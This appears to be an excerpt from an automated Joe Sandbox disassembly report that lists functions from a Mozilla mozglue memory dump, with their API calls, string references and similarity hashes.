Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 3e306e7036b5512cca2b93c6d47f10854f14f46b13772b57bcdcfb4b1c2ead6d
Instruction ID: 61b9defe2bf527678e82e37f02c8a93741975af9339742fc6e94c1ee53ce57a7
Opcode Fuzzy Hash: 3e306e7036b5512cca2b93c6d47f10854f14f46b13772b57bcdcfb4b1c2ead6d
Instruction Fuzzy Hash: 00413875A087809BD320CF69C18079AFBE5BFC9714F158A2EE8D987750D770A489CB92

Function 6CAACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CA9DA31,00100000,?,?,00000000,?), ref: 6CAACDA4

Part of subcall function 6CA6CA10: malloc.MOZGLUE(?), ref: 6CA6CA26

Part of subcall function 6CAAD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CAACDBA,00100000,?,00000000,?,6CA9DA31,00100000,?,?,00000000,?), ref: 6CAAD158
Part of subcall function 6CAAD130: InitializeConditionVariable.KERNEL32(00000098,?,6CAACDBA,00100000,?,00000000,?,6CA9DA31,00100000,?,?,00000000,?), ref: 6CAAD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CA9DA31,00100000,?,?,00000000,?), ref: 6CAACDC4

Part of subcall function 6CAA7480: ReleaseSRWLockExclusive.KERNEL32(?,6CAB15FC,?,?,?,?,6CAB15FC,?), ref: 6CAA74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CA9DA31,00100000,?,?,00000000,?), ref: 6CAACECC

Part of subcall function 6CA6CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA6CAA2

Part of subcall function 6CA9CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CAACEEA,?,?,?,?,00000000,?,6CA9DA31,00100000,?,?,00000000), ref: 6CA9CB57
Part of subcall function 6CA9CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CA9CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CAACEEA,?,?), ref: 6CA9CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CA9DA31,00100000,?,?,00000000,?), ref: 6CAAD058

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 985bf71b11324cc343b86d3e9910ffbd4e2301bf26c09cdeb5a213988d2e8081
Instruction ID: 62a322c6ef1dc8182a1bcade1cc755ae74897921f36fdcf356ba389894c1a159
Opcode Fuzzy Hash: 985bf71b11324cc343b86d3e9910ffbd4e2301bf26c09cdeb5a213988d2e8081
Instruction Fuzzy Hash: B8D16F71A04B469FD708CF28C580B99F7F1BF99308F05866DD8598B711EB31A9A6CBC1

Function 6CA61720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CA617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CA618EE
free.MOZGLUE(?), ref: 6CA61911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6194C

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 4e4b7b0782cbbf8400c181682573a20b660a121b5dac6c6f2ca7cb97b77895ae
Instruction ID: d0cab28e0370472d10a93d8db616c05133fee0bb0f9e3f25e5d50f1067bedf33
Opcode Fuzzy Hash: 4e4b7b0782cbbf8400c181682573a20b660a121b5dac6c6f2ca7cb97b77895ae
Instruction Fuzzy Hash: A981B571A113059FCB08CFA9D8945BEBBB1FF89314F04452CE911ABB54D730E999CBA1

Function 6CA75C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CA75D40
EnterCriticalSection.KERNEL32(6CADF688), ref: 6CA75D67
__aulldiv.LIBCMT ref: 6CA75DB4
LeaveCriticalSection.KERNEL32(6CADF688), ref: 6CA75DED

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fab578ef54e1e4402f107af604807cc133104761464e4b4b8e952039b11b40b7
Instruction ID: 82fe6f9d13e4901a54706587fb08c86d82165751f1e74dbf6cf8d05bf3bbb7e2
Opcode Fuzzy Hash: fab578ef54e1e4402f107af604807cc133104761464e4b4b8e952039b11b40b7
Instruction Fuzzy Hash: BF516075E0025A8FCF18CFA8C954AAFBBB2FB85304F19861DD811A7B51D7707986CB90

Function 6CA5CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA5CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA5CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA5CF4E

Strings

0, xrefs: 6CA5CF30

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 8ff1ea6e9db401811e8f82f70df8250f24a189af9d8807efd5df47418d002cac
Instruction ID: 493ccc31db4698fcd410836b09ed13a2c73bd5077f8f12b7abb2a38b149b5bd3
Opcode Fuzzy Hash: 8ff1ea6e9db401811e8f82f70df8250f24a189af9d8807efd5df47418d002cac
Instruction Fuzzy Hash: 5F511075A002168FCB00CF18C890AAAFBB5EF99304F19819DDC595F396D731AD4ACBE0

Function 6CAB77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CAB7829

Part of subcall function 6CA8CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CA531A7), ref: 6CA8CC45
Part of subcall function 6CA8CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CA531A7), ref: 6CA8CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAB789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAB78CF

Part of subcall function 6CA54DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA54E5A
Part of subcall function 6CA54DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA54E97

Part of subcall function 6CA54290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA93EBD,6CA93EBD,00000000), ref: 6CA542A9

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: afc492901b5dbe0829b33778aaba73fdf9d70719427344b4341d21575ae69f78
Instruction ID: d1a882977320aab228770734ee32df98e68887645af8a6fbc277a516cec9e401
Opcode Fuzzy Hash: afc492901b5dbe0829b33778aaba73fdf9d70719427344b4341d21575ae69f78
Instruction Fuzzy Hash: AE41AF719047469BD300DF29D48056BFBF4FF8A254F604A2DE4A987680DB70E59ACB92

Function 6CA96470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CA982BC,?,?), ref: 6CA9649B

Part of subcall function 6CA6CA10: malloc.MOZGLUE(?), ref: 6CA6CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA964A9

Part of subcall function 6CA8FA80: GetCurrentThreadId.KERNEL32 ref: 6CA8FA8D
Part of subcall function 6CA8FA80: AcquireSRWLockExclusive.KERNEL32(6CADF448), ref: 6CA8FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA9653F
free.MOZGLUE(?), ref: 6CA9655A

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 9adc1a7ca1542b013eaea12a6af19dee9fd1fdea6d126095bfc01014756b12ae
Instruction ID: 409507ea05661316d9b86373c1d8412817575b50b2739b96dc8910db8c07f25e
Opcode Fuzzy Hash: 9adc1a7ca1542b013eaea12a6af19dee9fd1fdea6d126095bfc01014756b12ae
Instruction Fuzzy Hash: 873190B5A04305AFCB44CF14D980A9ABBF4FF88314F00892EE85A87740DB30E959CBD2

Function 6CA8FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CAAD019,?,?,?,?,?,00000000,?,6CA9DA31,00100000,?), ref: 6CA8FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CAAD019,?,?,?,?,?,00000000,?,6CA9DA31,00100000,?,?), ref: 6CA8FFF5
free.MOZGLUE(?,?,?,?,?,6CAAD019,?,?,?,?,?,00000000,?,6CA9DA31,00100000,?), ref: 6CA9001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CAAD019,?,?,?,?,?,00000000,?,6CA9DA31,00100000,?,?), ref: 6CA9002A

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 698ee59ced315771f3e9c50cbe00fb229eb62fb4bdcf748096d7d4182dc6ba97
Instruction ID: dc017d4766b92796c79236cdc9063b9f1a6bf673a177d105954dc4886ea20c12
Opcode Fuzzy Hash: 698ee59ced315771f3e9c50cbe00fb229eb62fb4bdcf748096d7d4182dc6ba97
Instruction Fuzzy Hash: 8D21D6B2B002165FC7189E7DDC948AFB7BAFB893247250338E425D7780EB70AD4586D1

Function 6CA6B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA6B4F5
AcquireSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA6B502
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA6B542
free.MOZGLUE(?), ref: 6CA6B578

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 433ac34524d3a2fecbbfbca87cd1b886f022a994f10faf293fbd4a41a7d93fb3
Instruction ID: 78f41c74d5f694f8ed39e2dffb6572f75f022393366b898ce9fbef24391604f4
Opcode Fuzzy Hash: 433ac34524d3a2fecbbfbca87cd1b886f022a994f10faf293fbd4a41a7d93fb3
Instruction Fuzzy Hash: F111E430904B42CBD3218F2AE8047A2B3B0FF96319F18970EE84A53E01EBB0B1C59790

Function 6CA93DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA5F20E,?), ref: 6CA93DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA5F20E,00000000,?), ref: 6CA93DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA93E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CA93E0E

Part of subcall function 6CA8CC00: GetCurrentProcess.KERNEL32(?,?,6CA531A7), ref: 6CA8CC0D
Part of subcall function 6CA8CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA531A7), ref: 6CA8CC16

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 6fe62825b31214fca023b78500bfc7f803edc7f9a29b4ea08bf7240653c4039c
Instruction ID: aec87b62ca9b95bd04c86dceed5c16dd2bbc2549cf9f604ee5e5422faef60672
Opcode Fuzzy Hash: 6fe62825b31214fca023b78500bfc7f803edc7f9a29b4ea08bf7240653c4039c
Instruction Fuzzy Hash: F3F058B1A002097BDA04AB54EC82DAB376DEB46628F044020FE0817700D635BE6A8AE7

Function 6CAA20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAA20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CA8FBD1), ref: 6CAA20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CA8FBD1), ref: 6CAA20DA
free.MOZGLUE(00000000,?,6CA8FBD1), ref: 6CAA20F1

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 243a645c08fa4c83d8c0c29daa0209817c2feb26dcfa8ed03dd312e8b93147f3
Instruction ID: 6e2731301c6478c6f497f0143811e76a98a0c898dd7949174e5ac46e8988c478
Opcode Fuzzy Hash: 243a645c08fa4c83d8c0c29daa0209817c2feb26dcfa8ed03dd312e8b93147f3
Instruction Fuzzy Hash: 28E0E5356007168BC2209F26A80868EB7F9FF86214B14032AE44AC3B00DB75F98B87D6

Function 6CAA85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CAA85D3

Part of subcall function 6CA6CA10: malloc.MOZGLUE(?), ref: 6CA6CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CAA8725

Strings

map/set<T> too long, xrefs: 6CAA8720

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: f87c246e018af8d140dec7799b56fc8fb97fcf341a3d5b5b1c780bf7a05728c6
Instruction ID: 463bcadb8965d2ad16b60b0105e89abca93066b6825e3d5bec7089911010dc73
Opcode Fuzzy Hash: f87c246e018af8d140dec7799b56fc8fb97fcf341a3d5b5b1c780bf7a05728c6
Instruction Fuzzy Hash: BD515774A006858FE701CF58C184B95FBF1BF49318F19C19AD8595BB62C375E886CF92

Function 6CA5BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CA5BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA5BE8F

Strings

0, xrefs: 6CA5BE5B

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 350c64a78c16734a8d2d8f8a1238148c096d189f4cca4a0a0d20b0b4514079d7
Instruction ID: 53fd659bceccbc8201204a4cf6fb797eeaf5e67df404cfbeb95dec53828e9f11
Opcode Fuzzy Hash: 350c64a78c16734a8d2d8f8a1238148c096d189f4cca4a0a0d20b0b4514079d7
Instruction Fuzzy Hash: 3041A271609745CFC701CF28D48195BB7F4AF8A349F448B1DF98557611D730D9A9CB82

Function 6CA93CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA93D19
mozalloc_abort.MOZGLUE(?), ref: 6CA93D6C

Strings

d, xrefs: 6CA93D58

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 624ac127479a83ea7e27fec12813d1fbcf88f12289bef00fe97de21b3c1bb837
Instruction ID: bde5c59b187b0aaa25755d1ebfa9169513d901e66097e8980b89b494fbe7fa54
Opcode Fuzzy Hash: 624ac127479a83ea7e27fec12813d1fbcf88f12289bef00fe97de21b3c1bb837
Instruction Fuzzy Hash: 88110435E14789DBDF048B69CC254EDB7B5EF86218B488718DC8997622EB30A6C9C390

Function 6CA64730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA644B2,6CADE21C,6CADF7F8), ref: 6CA6473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA6474A

Strings

GetNtLoaderAPI, xrefs: 6CA64744

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 7b1eccb391c74b365e33e88130a4977a61781071a41a2ac26b4adf20fb0af73e
Instruction ID: f7c6b65be5aaf35b08ea6aeeeff961e7af93f83d7bea6006d893a35995064346
Opcode Fuzzy Hash: 7b1eccb391c74b365e33e88130a4977a61781071a41a2ac26b4adf20fb0af73e
Instruction Fuzzy Hash: F80179757013159FDF08AF66C85861DB7F9FB4B311B058469E905C7700DB74E8429F91

Function 6CAB6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CAB6E22
__Init_thread_footer.LIBCMT ref: 6CAB6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CAB6E1D

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 61a4d27cebf4b792c572adf3ca4a0700a15913607dc983a645167a06a87b8cce
Instruction ID: b23793df372ed911634ad08a9fecb6a834d7d6265e3bf6444f4cbd675cc675e5
Opcode Fuzzy Hash: 61a4d27cebf4b792c572adf3ca4a0700a15913607dc983a645167a06a87b8cce
Instruction Fuzzy Hash: BBF024302053C28FDA088B68CD65AD273B6A303218F0C4169FC0056F91D731BA87CBA3

Function 6CA69E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CA69EEF

Strings

Infinity, xrefs: 6CA69EB7
NaN, xrefs: 6CA69EC1

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
